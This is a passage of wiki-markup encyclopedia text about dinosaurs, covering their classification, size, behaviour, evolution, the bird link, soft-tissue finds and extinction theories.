Under phylogenetic taxonomy, dinosaurs are defined as all descendants of the most recent common ancestor of ''[[Triceratops]]'' and modern [[birds]]. [[Ornithischia]] is defined as all taxa sharing a more recent common ancestor with ''Triceratops'' than with [[Saurischia]]. Saurischia is defined as all taxa sharing a more recent common ancestor with birds than with Ornithischia. It has also been suggested that Dinosauria be defined as all the descendants of the most recent common ancestor of ''[[Megalosaurus]]'' and ''[[Iguanodon]]''.

There is an almost universal consensus among paleontologists that [[bird]]s are the descendants of [[theropoda|theropod]] dinosaurs. Using the strict [[cladistics|cladistical]] definition that all descendants of a single common ancestor are related, modern birds ''are'' dinosaurs and dinosaurs are, therefore, not extinct. Modern [[bird]]s are classified by most paleontologists as belonging to the subgroup [[Maniraptora]], which are [[Coelurosauria|coelurosaur]]s, which are [[Theropoda|theropods]], which are [[Saurischia|saurischians]], which are dinosaurs.

However, referring to birds as &quot;avian dinosaurs&quot; and to all other dinosaurs as &quot;non-avian dinosaurs&quot; is clumsy. Birds are still birds, at least in popular usage and among [[ornithologist]]s. It is also technically correct to refer to birds as a distinct group under the older [[Linnaean classification]] system, which accepts [[paraphyletic]] taxa that exclude some descendants of a single common ancestor. Paleontologists mostly use [[cladistics]], which classifies birds as dinosaurs, to construct their taxonomies, but many other scientists do not. 

For clarity, this article will use &quot;dinosaur&quot; as a synonym for &quot;non-avian dinosaur&quot;, and &quot;bird&quot; as a synonym for &quot;avian dinosaur&quot; (meaning any animal that evolved from the common ancestor of ''[[Archaeopteryx]]'' and modern birds). It should be noted that this article's definition of &quot;bird&quot; differs from the definition common in everyday language; to most non-scientists, a &quot;bird&quot; is simply a two-legged animal with wings and feathers.

===Size===
Only a tiny percentage of animals ever fossilize, and most of these remain buried in the earth. As a result, scientists will probably never be certain of the [[largest organism|smallest and largest dinosaurs]]. Few of the specimens that are recovered are complete skeletons, and impressions of skin and other soft tissues are rare. Rebuilding a complete skeleton by comparing the size and morphology of bones to those of similar, better-known species is an inexact art, and reconstructing the muscles and other organs of the living animal is, at best, a process of educated guesswork.

'''Largest and smallest dinosaurs'''

[[Image:Diplodocus carnegii statue.jpg|thumb|156px|left|A statue of ''[[Diplodocus|Diplodocus carnegiei]]'', outside the [[Carnegie Museum of Natural History]].]]
[[Image:Trex1.png|thumb|210px|Size of a human compared to a ''[[Tyrannosaurus rex]]''.]]
While the evidence is incomplete, it is clear that, as a group, dinosaurs were large. By dinosaur standards the [[Sauropoda|sauropod]]s were gigantic. For much of the dinosaur era, the smallest sauropods were larger than anything else in their habitat, and the largest were an [[order of magnitude]] more massive than anything else that has since walked the Earth.

The tallest and heaviest dinosaur known from a complete skeleton is the ''[[Brachiosaurus]]'', which was discovered in [[Tanzania]] between 1907&amp;ndash;12.  It is now mounted and on display at the [[Humboldt Museum]] of [[Berlin]] and is [[1 E1 m|12 m]] (38 ft) tall and probably weighed between [[1 E4 kg|30,000&amp;ndash;60,000 kg]] (33&amp;ndash;66 short tons). The longest complete dinosaur is the [[1 E1 m|27 m]] (89 ft) long ''[[Diplodocus]]'', which was discovered in [[Wyoming]] in the [[United States]] and displayed in [[Pittsburgh]]'s [[Carnegie Natural History Museum]] in 1907.

There were larger dinosaurs, but knowledge of them is based entirely on a small number of incomplete fossil samples. The largest specimens on record were all discovered in the 1970s or later, and include the massive ''[[Argentinosaurus]]'', which may have weighed [[1 E5 kg|80,000&amp;ndash;100,000 kg]] (88&amp;ndash;121 tons); the longest, the [[1 E1 m|40 m]] (130 ft) long ''[[Supersaurus]]''; and the tallest, the [[1 E1 m|18 m]] (60 ft) ''[[Sauroposeidon]]'', which could have reached a sixth-floor window.

Dinosaurs were the largest of all terrestrial animals. The largest [[elephant]] on record weighed [[1 E4 kg|12,000 kg]] (13.2 tons), while the tallest [[giraffe]] was [[1 E0 m|6 m]] (20 ft) tall. Even giant prehistoric [[mammal]]s such as the ''[[Indricotherium]]'' and the Columbian [[mammoth]] were dwarfed by the giant sauropods. Only a handful of modern aquatic animals approach them in size, most notably the [[blue whale]] (which reaches up to [[1 E5 kg|190,000 kg]] (209 tons) and [[1 E1 m|33.5 m]] (110 ft) in length).

Not including modern birds like the [[bee hummingbird]], the smallest dinosaurs known were about the size of a [[crow]] or a [[chicken]]. The ''[[Microraptor]]'', ''[[Parvicursor]]'', and ''[[Saltopus]]'' were all under [[1 E-1 m|60 cm]] (2 ft) in length.

'''Average size'''

The meaning of &quot;dinosaur average size&quot; is debatable. However it is defined, current evidence suggests different values for average size in the Triassic, early Jurassic, late Jurassic and Cretaceous periods.{{ref|avesize1}} According to Bill Erickson, &quot;Estimates of median dinosaur mass range from 500 kg to 5 metric tons [...] Eighty percent of the biomass from the Late Jurassic Morrison formation of the western United States consisted of stegosaurs and sauropods; the latter averaged 20 tons. [...] The typically large size of the dinosaurs, and the comparatively small size of modern mammals, has been quantified by Nicholas Hotton. Based on 63 dinosaur genera, Hotton's data yield an average generic mass in excess of 850 kg (about the size of an average grizzly bear) and a median generic mass of nearly 2 tons (which is comparable to a giraffe).  This contrasts sharply with extant mammals (788 genera) whose average generic mass is 863 grams (a large rodent) and a median mass of 631 grams (a smaller rodent).  The smallest dinosaur was bigger than two-thirds of all current mammals; the majority of dinosaurs were bigger than all but 2% of living mammals.&quot; {{ref|avesize2}}

===Behavior===
Interpretations of dinosaur behavior are generally based on the pose of body fossils and their [[Habitat (ecology)|habitat]], [[computer simulation]]s of their [[biomechanics]], and comparisons with modern animals in similar [[ecological niche]]s. As such, the current understanding of dinosaur behavior relies on speculation, and will likely remain controversial for the foreseeable future. However, there is general agreement that some behaviors which are common in crocodiles and birds, dinosaurs' closest living relatives, were also common among dinosaurs. 

The first direct evidence of [[herd]]ing behavior was the 1878 discovery of 31 ''[[Iguanodon]]'' dinosaurs which perished together in [[Bernissart]], [[Belgium]], after they fell into a deep, flooded ravine and drowned. Similar mass deaths and trackways suggest that [[herd]] or pack behavior was common in many dinosaur species. Trackways of hundreds or even thousands of herbivores indicate that [[duck-bill]]s (hadrosaurids) may have moved in great herds, like the [[American Bison]] or the African [[Springbok Antelope|Springbok]]. Sauropod tracks document that these animals traveled in groups composed of several different species, at least in [[Oxford]], England,{{ref|sauropodtracks}} and others kept their young in the middle of the herd for defense according to trackways at Davenport Ranch, [[Texas]]. Dinosaurs may have congregated in herds for defense, for [[migration|migratory]] purposes, or to provide protection for their young.

[[Image:Mayasaurus.jpg|thumb|210px|A nesting ground of ''[[Maiasaura]]'' was discovered in 1978.]]
[[Jack Horner (paleontologist)|Jack Horner]]'s 1978 discovery of a ''[[Maiasaura]]'' (&quot;good mother dinosaur&quot;) [[nest]]ing ground in [[Montana]] demonstrated that parental care continued long after birth among the [[ornithopod]]s.{{ref|maiasaura}}{{ref|babytyrannosaur}} There is also evidence that other Cretaceous-era dinosaurs, like the [[Patagonia]]n sauropod ''[[Saltasaurus]]'' (1997 discovery), had similar nesting behaviors, and that the animals congregated in huge nesting colonies like those of [[penguin]]s. The [[Mongolia]]n [[maniraptora]]n ''[[Oviraptor]]'' was discovered in a [[chicken]]-like [[brood]]ing position in 1993, which may mean it was covered with an insulating layer of feathers that kept the [[egg (biology)|eggs]] warm.{{ref|oviraptor}} Trackways have also confirmed parental behavior among sauropods and ornithopods from the [[Isle of Skye]] in the United Kingdom.{{ref|familytracks}} Nests and eggs have been found for most major groups of dinosaurs, and it appears likely that dinosaurs communicated with their young, in a manner similar to modern birds and crocodiles.

The [[Sagittal crest|crest]]s and frills of some dinosaurs, like the [[marginocephalia]]ns, [[theropod]]s and [[lambeosaurin]]es, may have been too fragile to be used for active defense, so they were likely used for sexual or aggressive displays, though little is known about dinosaur mating and [[territory (animal)|territorialism]]. The nature of dinosaur [[Animal communication|communication]] also remains enigmatic, and is an active area of research. For example, recent evidence suggests that the hollow crests of the lambeosaurines may have functioned as [[resonance chamber]]s used for a wide range of [[vocalization]]s.

From a behavioral standpoint, one of the most valuable dinosaur fossils was discovered in the [[Gobi Desert]] in 1971. It included a ''[[Velociraptor]]'' attacking a ''[[Protoceratops]]'',{{ref|raptorceratopsfossil}} proving that dinosaurs did indeed attack and eat each other. While [[cannibal]]istic behavior among [[theropod]]s is no surprise,{{ref|cannibaldino}} this too was confirmed by tooth marks from Madagascar in 2003.{{ref|dinocannibalism}}

There seem to have been no burrowing and few climbing dinosaur species. This is somewhat surprising when compared to the later mammalian radiation in the [[Cenozoic]], which included many species of these types. As to how the animals moved, [[biomechanics]] has provided significant insight. For example, studies of the forces exerted by muscles and gravity on dinosaurs' skeletal structure have demonstrated how fast dinosaurs could run,{{ref|gaitdinospeed}}{{ref|speedcalculator}} whether [[diplodocid]]s could create [[sonic boom]]s via [[whip]]-like tail snapping,{{ref|boom}} whether giant theropods had to slow down when rushing for food to avoid fatal injuries,{{ref|hastydino}} and if sauropods could float.{{ref|floatingdino}}

==Study of dinosaurs==
Knowledge about dinosaurs is derived from a variety of fossil and non-fossil records, including [[fossil]]ized [[bone]]s, [[feces]], [[trackway]]s, [[gastrolith]]s, [[feather]]s, impressions of [[skin]], [[Viscus|internal organs]] and [[soft tissue]]s.{{ref|softtissue}}{{ref|trextissue}} Many fields of study contribute to our understanding of dinosaurs, including [[physics]], [[chemistry]], [[biology]], and the [[earth sciences]] (of which [[paleontology]] is a sub-discipline).

Dinosaur remains have been found on every continent on Earth, including [[Antarctica]]. Numerous fossils of the same dinosaur species have been found on completely different continents, corroborating the generally-accepted theory that all land masses were at one time connected in a super-continent called [[Pangaea]]. Pangaea began to break apart during the [[Triassic]] period roughly 230 million years ago.{{ref|joined}}

===The current &quot;dinosaur renaissance&quot;===
The field of dinosaur research has enjoyed a surge in activity that began in the 1970s and is ongoing. This was triggered, in part, by [[John Ostrom]]'s discovery of ''[[Deinonychus]]'', an active, vicious [[predator]] that may have been [[warm-blooded]] (homeothermic), in marked contrast to the prevailing image of dinosaurs as sluggish and [[cold-blooded]]. [[Vertebrate paleontology]], arguably the primary scientific discipline involved in dinosaur research, has become a global [[science]]. Major new dinosaur discoveries have been made by paleontologists working in previously unexploited regions, including [[India]], [[South America]], [[Madagascar]], [[Antarctica]], and most significantly in [[China]] (the amazingly well-preserved [[feathered dinosaurs]] in [[China]] have further solidified the link between dinosaurs and their living descendants, modern [[bird]]s). The widespread application of [[cladistics]], which rigorously analyzes the relationships between biological organisms, has also proved tremendously useful in [[scientific classification|classifying]] dinosaurs. Cladistic analysis, among other modern techniques, helps to compensate for an often incomplete and fragmentary [[fossil record]].

===Classification===
''Main article'': [[List of dinosaur classifications|Dinosaur classification]] 

Dinosaurs (including birds) are [[archosaur]]s, like modern [[crocodilia|crocodilian]]s.  Archosaurs' [[diapsid]] skulls have two holes located where the jaw muscles attach, called [[temporal fenestrae]]. Most reptiles (including birds) are diapsids; mammals, with only one temporal fenestra, are called [[synapsid]]s; and [[turtle]]s, with no temporal fenestra, are [[anapsid]]s. Anatomically, dinosaurs share many other archosaur characteristics, including teeth that grow from sockets rather than as direct extensions of the jawbones.  Within the archosaur group, dinosaurs are differentiated most noticeably by their gait. Dinosaur legs extend directly beneath the body, whereas the legs of lizards and crocodylians sprawl out to either side. All dinosaurs were land animals. 

Many other types of reptiles lived at the same time as the dinosaurs. Some of these are commonly, but incorrectly, thought of as dinosaurs, including [[plesiosaur]]s (which are not closely related to the dinosaurs) and [[pterosaurs]], which developed separately from reptilian ancestors in the late Triassic period.

Dinosaurs are divided into two [[Order (biology)|orders]], the ''[[Saurischia]]'' and the ''[[Ornithischia]]'', on the basis of their hip structure. Saurischians (from the Greek meaning &quot;[[lizard]] hip&quot;) are dinosaurs that originally retained the hip structure of their ancestors. They include all the [[Theropoda|theropods]] (bipedal [[carnivore]]s) and [[Sauropoda|sauropod]]s (long-necked [[herbivore]]s). Ornithischians (from the Greek meaning &quot;bird-hip&quot;) is the other dinosaurian order, most of which were [[quadruped]]al herbivores.

&lt;center&gt;
{|
| width=50% valign=top|
[[Image:Saurischia.png|thumb|220px|[[Saurischia]]n pelvis structure.]]
| width=50% valign=top|
[[Image:Ornithischia.png|thumb|220px|[[Ornithischia]]n pelvis structure.]]
|}
&lt;/center&gt;

The following is a simplified classification of dinosaurs familes. A more detailed version can be found at [[List of dinosaur classifications]].

The dagger (&amp;dagger;) is used to indicate taxa that are [[extinct]].

===Order [[Saurischia]]===
* &amp;dagger;(unranked) [[Herrerasauria]]
* Suborder [[Theropoda]]
** &amp;dagger;Superfamily [[Coelophysoidea]]
** &amp;dagger;Infraorder [[Ceratosauria]]
*** &amp;dagger;Family [[Abelisauridae]]
** (unranked) [[Tetanurae]]
*** &amp;dagger;Superfamily [[Megalosauroidea]]
*** &amp;dagger;Infraorder [[Carnosauria]]
*** Infraorder [[Coelurosauria]]
**** &amp;dagger;Family [[Coeluridae]]
**** &amp;dagger;Superfamily [[Tyrannosauridae|Tyrannosauroidea]]
**** &amp;dagger;(unranked) [[Ornithomimidae|Ornithomimosauria]]
**** (unranked) [[Maniraptora]]
***** &amp;dagger;(unranked) Oviraptoriformes
****** &amp;dagger;Superfamily [[Therizinosauria]]
****** &amp;dagger;Superfamily [[Oviraptorosauria]]
***** &amp;dagger;(unranked) [[Deinonychosauria]]
****** &amp;dagger;Family [[Troodontidae]]
****** &amp;dagger;Family [[Dromaeosauridae]]
***** Class [[Aves]] (birds)
* &amp;dagger;Suborder [[Sauropodomorpha]]
** &amp;dagger;''[[Thecodontosaurus]]''
** &amp;dagger;Infraorder [[Prosauropoda]]
** &amp;dagger;Infraorder [[Sauropoda]]
*** &amp;dagger;Superfamily [[Diplodocoidea]]
*** &amp;dagger;(unranked) [[Macronaria]]
**** &amp;dagger;Superfamily [[Titanosauriformes]]
***** &amp;dagger;Family [[Brachiosauridae]]
***** &amp;dagger;(unranked) [[Titanosauria]]

=== Order [[Ornithischia]] ===
* &amp;dagger;Suborder [[Thyreophora]]
** &amp;dagger;Superfamily [[Stegosauria]]
** &amp;dagger;Superfamily [[Ankylosauria]]
* &amp;dagger;(unranked) [[Cerapoda]]
** &amp;dagger;Family [[Heterodontosauridae]]
** &amp;dagger;Suborder Marginocephalia
*** &amp;dagger;Superfamily [[Pachycephalosauria]]
*** &amp;dagger;Superfamily [[Ceratopsia]]
**** &amp;dagger;Family [[Psittacosauridae]]
**** &amp;dagger;Family [[Protoceratopsidae]]
**** &amp;dagger;Family [[Ceratopsidae]]
** &amp;dagger;Suborder [[Ornithopoda]]
*** &amp;dagger;Family [[Hypsilophodontidae]]
*** &amp;dagger;Superfamily [[Iguanodontia]]
**** &amp;dagger;Family [[Iguanodontidae]]
**** &amp;dagger;Family [[Hadrosauridae]]

===Evolution===
[[Image:Eoraptor.jpg|right|thumb|210px|A reconstruction of [[Eoraptor]], an early dinosaur.]]
Dinosaurs split off from their [[archosaur]] ancestors approximately 230 million years ago during the early [[Triassic]] period, roughly 20 million years after the [[Permian-Triassic extinction event]] wiped out an estimated 95 percent of all life on Earth.{{ref|permian1}} {{ref|permian2}} [[Radiometric dating]] of fossils from the early dinosaur species [[Eoraptor]] establishes its presence in the fossil record at this time. Paleontologists believe Eoraptor resembles the [[Common descent|common ancestor]] of all dinosaurs; {{ref|evolution}} if this is true, its traits suggest that the first dinosaurs were small, bipedal predators.{{ref|eoraptor}} 

Also among the earliest dinosaurs was the primitive [[Lagosuchus]]; [[Saltopus]], which was barely larger than a human hand, appeared slightly later. The first few lines of primitive dinosaurs diversified rapidly through the rest of the Triassic period; dinosaur species quickly evolved the specialized features and range of sizes needed to exploit nearly every terrestrial [[ecological niche]]. During the period of dinosaur predominance, which encompassed the ensuing [[Jurassic]] and [[Cretaceous]] periods, nearly every known land animal larger than [[1 E0 m|1 meter]] in length was a dinosaur.

The [[Cretaceous-Tertiary extinction event]], which occured approximately 65 million years ago at the end of the Cretaceous period, caused the extinction of all dinosaurs except for the line that had already given rise to the first birds. Other [[diapsid]] species related to the dinosaurs also survived the event.

==Areas of debate==

===Warm-blooded?===
[[Image:ROM dinosaurs.jpg|thumb|right|210px|Dinosaur models at the [[Royal Ontario Museum]].]]
A vigorous debate on the subject of temperature regulation in dinosaurs has been ongoing since the 1960s. Originally, scientists broadly disagreed as to whether dinosaurs were capable of regulating their body temperatures at all. More recently, dinosaur [[endotherm]]y has become the consensus view, and debate has focused on the mechanisms of temperature regulation. 

After dinosaurs were discovered, paleontologists first posited that they were [[ectotherm]]ic creatures: &quot;terrible [[lizard]]s&quot; as their name suggests. This supposed cold-bloodedness implied that dinosaurs were relatively slow, sluggish organisms, comparable to modern reptiles, which need external sources of heat in order to regulate their body temperature. Dinosaur ectothermy remained a prevalent view until [[Robert T. Bakker|Robert T. &quot;Bob&quot; Bakker]], an early proponent of dinosaur endothermy, published an influential paper on the topic in 1968. 

Modern evidence indicates that dinosaurs thrived in cooler temperate climates, and that at least some dinosaur species must have regulated their body temperature by internal biological means (perhaps aided by the animals' bulk).  Evidence of [[endotherm]]ism in dinosaurs includes the discovery of [[polar dinosaurs in Australia]] and [[Antarctica]] (where they would have experienced a cold, dark six-month winter), the discovery of dinosaurs whose feathers may have provided regulatory insulation, and analysis of blood-vessel structures that are typical of endotherms within dinosaur bone. Skeletal structures suggest that theropods and other dinosaurs had active lifestyles better suited to an endothermic cardiovascular system, while sauropods exhibit fewer endothermic characteristics. It is certainly possible that some dinosaurs were endothermic while others were not. Scientific debate over the specifics continues.{{ref|parsons}}

Complicating the debate is the fact that warm-bloodedness can emerge based on more than one mechanism. Most discussions of dinosaur endothermy tend to compare them to average birds or mammals, which expend energy to elevate body temperature above that of the environment.  Small birds and mammals also possess [[thermal insulation|insulation]], such as [[fat]], [[fur]], or [[feather]]s, which slows down heat loss. However, large mammals, such as elephants, face a different problem due to their relatively small ratio of surface area to volume  ([[Haldane]]'s principle). This ratio compares the volume of an animal with the area of its skin: as an animal gets bigger, its surface area increases more slowly than its volume.  At a certain point, the amount of heat radiated away through the skin drops below the amount of heat produced inside the body, forcing animals to use additional methods to avoid overheating. In the case of elephants, they are hairless, and have large ears which increase their surface area, and have behavioral adaptations as well (such as using the trunk to spray water on themselves and mud wallowing). These behaviors increase cooling through evaporation.

Large dinosaurs would presumably have had to deal with similar issues; their body size would dictate that they lost heat relatively slowly to the surrounding air, and so could have been what are called [[gigantothermy|bulk endotherms]], animals that are warmer than their environments through sheer size rather than through special adaptations like those of birds or mammals. However, so far this theory fails to account for the vast number of dog- and goat-sized dinosaur species which made up the bulk of the ecosystem during the Mesozoic period.

===Feathered dinosaurs and the bird connection===
{{main|Feathered dinosaurs}}

Birds and non-avian dinosaurs share many features. Birds share over a hundred distinct anatomical features with [[theropod]] dinosaurs, which are generally accepted to have been their closest ancient relatives.{{ref|casepoint}}

'''Feathers'''
[[Image:Archaeopteryx-model.jpg|thumb|240px|right|A model of ''[[Archaeopteryx|Archaeopteryx lithographica]]'' on display at the [[Oxford University Museum of Natural History]].]]

''[[Archaeopteryx]]'', the first good example of a &quot;feathered dinosaur&quot;, was discovered in 1861. The initial specimen was found in the [[Solnhofen limestone]] in southern Germany, which is a ''[[Lagerstätten|lagerstätte]]'', a rare and remarkable geological formation known for its superbly detailed fossils. Archaeopteryx is a [[transitional fossil]], with features clearly intermediate between those of modern reptiles and birds. Brought to light just two years after Darwin's seminal ''[[The Origin of Species]]'', its discovery spurred the nascent debate between proponents of [[evolutionary biology]] and [[creationism]]. This early bird is so dinosaur-like that, without a clear impression of feathers in the surrounding rock, specimens are commonly mistaken for ''[[Compsognathus]]''.

Since the 1990s, a number of additional [[feathered dinosaurs]] have been found, providing even stronger evidence of the close relationship between dinosaurs and modern birds. Most of these specimens were unearthed in the [[Liaoning]] province in northeastern [[China]], which was part of an island continent during the Cretaceous period. Though feathers have been found only in the [[Lagerstätten|lagerstätte]] of the [[Yixian Formation]] and a few other places, it is possible that dinosaurs elsewhere in the world were also feathered. The lack of widespread fossil evidence for feathered dinosaurs may be due to the fact that delicate features like skin and feathers are not often preserved by [[fossil]]ization and thus are absent from the fossil record.

The feathered dinosaurs discovered so far include ''[[Beipiaosaurus]]'', ''[[Caudipteryx]]'', ''[[Dilong paradoxus|Dilong]]'', ''[[Microraptor]]'', ''[[Protarchaeopteryx]]'', ''[[Shuvuuia]]'', ''[[Sinornithosaurus]]'', ''[[Sinosauropteryx]]'', and ''[[Jinfengopteryx]]''. Dinosaur-like birds like ''[[Confuciusornis]]'', which are anatomically closer to modern avians, have also been discovered. All of these specimens come from the same formation in northern China. The [[dromaeosauridae]] family in particular seems to have been heavily feathered, and at least one dromaeosaurid, ''[[Cryptovolans]]'', may have been capable of flight.

'''Skeleton'''
[[Image:TRex3a.jpg|250px|left|thumb|''[[Tyrannosaurus rex]]'' skeleton at the [[Field Museum of Natural History]].]]
Because feathers are often associated with birds, feathered dinosaurs are often touted as the [[missing link]] between birds and dinosaurs. However, the multiple skeletal features also shared by the two groups represent the more important link for [[paleontologist]]s. Furthermore, it is increasingly clear that the relationship between birds and dinosaurs, and the evolution of flight, are more complex topics than previously realized. For example, while it was once believed that birds evolved from dinosaurs in one linear progression, some scientists, most notably [[Gregory S. Paul]], conclude that dinosaurs such as the [[dromaeosaur]]s may have evolved from birds, losing the power of flight while keeping their feathers in a manner similar to the modern ostrich and other [[ratite]]s.

Comparison of bird and dinosaur skeletons, as well as [[cladistics|cladistic analysis]], strengthens the case for the link, particularly for a branch of theropods called [[maniraptor]]s. Skeletal similarities include the [[neck]], [[pubis]], [[wrist]] (semi-lunate [[carpal]]), [[arm]] and [[pectoral girdle]], [[shoulder blade]], [[furcula|clavicle]] and [[keel (bird)|breast bone]].

'''Reproductive biology'''
[[Image:Trex skull.gif|250px|thumb|''[[Tyrannosaurus rex]]'' skull at [[Carnegie Museums of Pittsburgh|Carnegie Museum Natural History]].]]
A discovery of features in a ''[[Tyrannosaurus rex]]'' [[skeleton]] recently provided even more evidence that dinosaurs and birds evolved from a common ancestor and, for the first time, allowed paleontologists to establish the sex of a dinosaur. When laying eggs, female birds grow a special type of bone in their limbs. This [[medullary bone]], which is rich in calcium, forms a layer inside the hard outer bone that is used to make eggshells. The presence of endosteally-derived bone tissues lining the interior marrow cavities of portions of the ''[[Tyrannosaurus rex]]'' specimen's hind limb suggested that ''T. rex'' used similar reproductive strategies, and revealed the specimen to be female.

A dinosaur embryo was found without teeth, suggesting that some parental care was required to feed the young dinosaur. It is also possible that the adult dinosaurs regurgitated into a young dinosaur's mouth to provide sustenance, a behavior that is also characteristic of numerous modern bird species.

'''Lungs'''

Large meat-eating dinosaurs had a complex system of air sacs similar to those found in modern birds, according to an investigation which was led by [[Patrick O'Connor]] of [[Ohio University]]. The lungs of theropod dinosaurs(carnivores that walked on two legs and had birdlike feet) likely pumped air into hollow sacs in their [[skeleton]]s, as is the case in birds. &quot;What was once formally considered unique to birds was present in some form in the ancestors of birds&quot;, O'Connor said. The study was funded in part by the [[National Science Foundation]].{{ref|lungs}}

'''Heart and sleeping posture'''

Modern [[computerized tomography]] (CT) scans of dinosaur chest cavities (conducted in 2000) found the apparent remnants of complex four-chambered hearts, much like those found in today's mammals and birds. A recently discovered [[Troodontidae|troodont]] fossil demonstrates that the dinosaurs slept like certain modern birds, with their heads tucked under their arms.{{ref|sleepingdino}} This behavior, which may have helped to keep the head warm, is also characteristic of modern birds.

'''Gizzard'''

Another piece of evidence that birds and dinosaurs are closely related is the use of [[gizzard]] stones. These stones are swallowed by animals to aid digestion and break down food and hard fibres once they enter the stomach. When found in association with [[fossil]]s, gizzard stones are called [[gastrolith]]s. Because a particular stone could have been swallowed at one location before being carried to another during migration, paleontologists sometimes use the stones found in dinosaur stomachs to establish possible [[migration]] routes.

===Evidence for Cenozoic dinosaurs===
In 2002,  paleontologists Zielinski and Budahn reported the discovery of a single [[hadrosauridae|hadrosaur]] leg bone fossil from [[El Ojo]], South America. The formation in which the bone was discovered has been dated to the early [[Paleocene]] epoch approximately 64.5 million years ago. If the bone was not re-deposited into that [[stratum]] by weathering action, it would provide evidence that some dinosaur populations may have survived at least a half million years into the Cenozoic Era.{{ref|fassett2002}}

===Bringing dinosaurs back to life===
[[image:trex.mending.arp.750pix.jpg|thumb|left|250px|A worker on scaffolding services the head of a full-size [[Audio-Animatronics|animatronic]] model of ''[[Tyrannosaurus rex]]''.]]

There has been much speculation about the use of technology to bring dinosaurs back to life. In [[Michael Crichton]]'s book ''[[Jurassic Park]]'', which popularized the idea, scientists use blood from fossilized [[mosquito]]s that have been suspended in [[amber|tree sap]] since the Mesozoic to reconstruct the [[DNA]] of dinosaurs, filling chromosomal gaps with modern [[frog]] genes. It is probably impossible to resurrect dinosaurs in this manner. One problem with the amber extraction method is that DNA decays over time by exposure to air, water and radiation, making it unlikely that such an approach would recover any useful DNA (DNA decay can be measured by a [[racemization]] test). 

The successful extraction of ancient DNA from dinosaur fossils has been reported on two separate occasions, but upon further inspection and [[peer review]], neither of these reports could be confirmed.{{ref|wang}} However, a functional visual [[peptide]] of a (theoretical) dinosaur has been inferred using analytical phylogenetic reconstruction methods on gene sequences of still-living related species (reptiles and birds).{{ref|chang}}

Even if dinosaur DNA could be reconstructed, it would be exceedingly difficult to &quot;grow&quot; dinosaurs using current technology since no closely related species exist to provide [[zygote]]s or a suitable environment for [[Embryogenesis|embryonic development]].

===Soft tissue in dinosaur fossils===
One of the best examples of soft tissue impressions in a fossil dinosaur was discovered in [[Petraroia]], [[Italy]]. The discovery was reported in [[1998]], and described the specimen of a small, very young [[Coelurosaur]], ''[[Scipionyx]] samniticus''. The fossil includes portions of the intestines, colon, liver, muscles, and windpipe of this immature dinosaur{{ref|softtissue}}.

In the March 2005 issue of ''[[Science (journal)|Science]]'', Dr. Mary Higby Schweitzer and her team announced the discovery of flexible material resembling actual soft tissue inside a 68-million-year-old ''[[Tyrannosaurus rex]]'' leg [[bone]] from the [[Hell Creek Formation]] in [[Montana]]. After recovery, the tissue was rehydrated by the science team.

When the fossilized bone was treated over several weeks to remove mineral content from the fossilized bone marrow cavity (a process called demineralization), Schweitzer found evidence of intact structures such as [[blood vessel]]s, bone matrix, and connective tissue (bone fibers). Scrutiny under the microscope further revealed that the putative dinosaur soft tissue had retained fine structures (microstructures) even at the cellular level. The exact nature and composition of this material are not yet clear, although many news reports immediately linked it with the movie ''Jurassic Park''. Interpretation of the artifact is ongoing, and the relative importance of Dr. Schweitzer's discovery is not yet clear.{{ref|chanceatlife}}

==Extinction theories==
{{main|Cretaceous-Tertiary extinction event}}

The sudden [[mass extinction]] of the non-avian dinosaurs, which occurred around 65 million years ago, is one of the most intriguing mysteries in [[paleontology]]. Many other groups of animals also became extinct at this time, including [[ammonite]]s ([[nautilus]]-like [[mollusk]]s), [[mosasaur]]s, plesiosaurs, pterosaurs, herbivorous [[turtle]]s and [[crocodile]]s, most birds, and many groups of mammals.{{ref|changes}} The nature of the event that caused this mass extinction has been extensively studied since the 1970s. At present, several related theories are broadly supported by paleontologists.

===Asteroid collision===
[[Image:Chicxulub radar topography.jpg|thumb|The [[Chicxulub Crater]] at the tip of the [[Yucatán Peninsula]], the impact of which may have caused the dinosaur extinction.]]
The asterioid collision theory, which was first proposed by [[Walter Alvarez]] in the late 1970s, links the [[extinction event]] at the end of the Cretaceous period to a [[bolide]] impact approximately 65.5 million years ago. Alvarez proposed that a sudden increase in [[iridium]] levels, recorded around the world in the period's rock stratum, was direct evidence of the impact. The bulk of the evidence now suggests that a 10 km wide [[bolide]] hit in the vicinity of the [[Yucatán Peninsula]], creating the [[1 E5 m|170&amp;nbsp;km]]-wide [[Chicxulub Crater]] and triggering the [[mass extinction]]. Scientists are not certain whether dinosaurs were thriving or declining before the impact event. Some scientists propose that the meteor caused a long and unnatural drop in Earth's atmospheric temperature, while others claim that it would have instead created an unusual heat wave. 

Although the speed of extinction cannot be deduced from the fossil record alone, various models suggest that the extinction was extremely rapid. The consensus among scientists who support this theory is that the impact caused extinctions both  directly (by [[heat]] from the meteorite impact) and also indirectly (via a worldwide cooling brought about when matter ejected from the impact crater reflected thermal radiation from the sun).

===Multiple collisions&amp;mdash;the Oort cloud===
While similar to Alvarez's impact theory (which involved a single asteroid or comet), this theory proposes that a stream of comets was dislodged from the [[Oort cloud]] due to the gravitational disruption caused by a passing star. One or more of these objects then collided with the Earth at approximately the same time, causing the worldwide extinction. As with the impact of a single asteroid, the end result of this comet bombardment would have been a sudden drop in global temperatures, followed by a protracted cool period.{{ref|koeberl}}

===Environment changes===
At the peak of the dinosaur era, there were no polar ice caps, and sea levels are estimated to have been from 100 to 250 metres (330 to 820 feet) higher than they are today. The planet's temperature was also much more uniform, with only 25 degrees Celsius separating average polar temperatures from those at the equator. On average, atmospheric temperatures were also much warmer; the poles, for example, were 50 °C warmer than today. {{ref|enviro1}}{{ref|enviro2}}

The atmosphere's composition during the dinosaur era was vastly different as well. Carbon dioxide levels were up to 12 times higher than today's levels, and oxygen formed 32 to 35 percent of the atmosphere, as compared with 21 percent today.  However, by the late Cretacious, the environment was changing dramatically. Volcanic activity was decreasing, which led to a cooling trend as levels of atmospheric carbon dioxide dropped. Oxygen levels in the atmosphere also started to fluctuate and would ultimately fall considerably. Some scientists hypothesize that climate change, combined with lower oxygen levels, might have led directly to the demise of many species. If the dinosaurs had respiratory systems similar to those commonly found in modern birds, it may have been particularly difficult for them to cope with reduced respiratory efficiency, given the enormous oxygen demands of their very large bodies.{{ref_label|changes|32|a}}

==History of discovery==
Dinosaur fossils have been known of for millennia, although their true nature was not recognized; the Chinese considered them to be [[Chinese dragon|dragon]] bones, while Europeans believed them to be the remains of giants and other creatures killed by the [[Deluge (mythology)|Great Flood]]. 

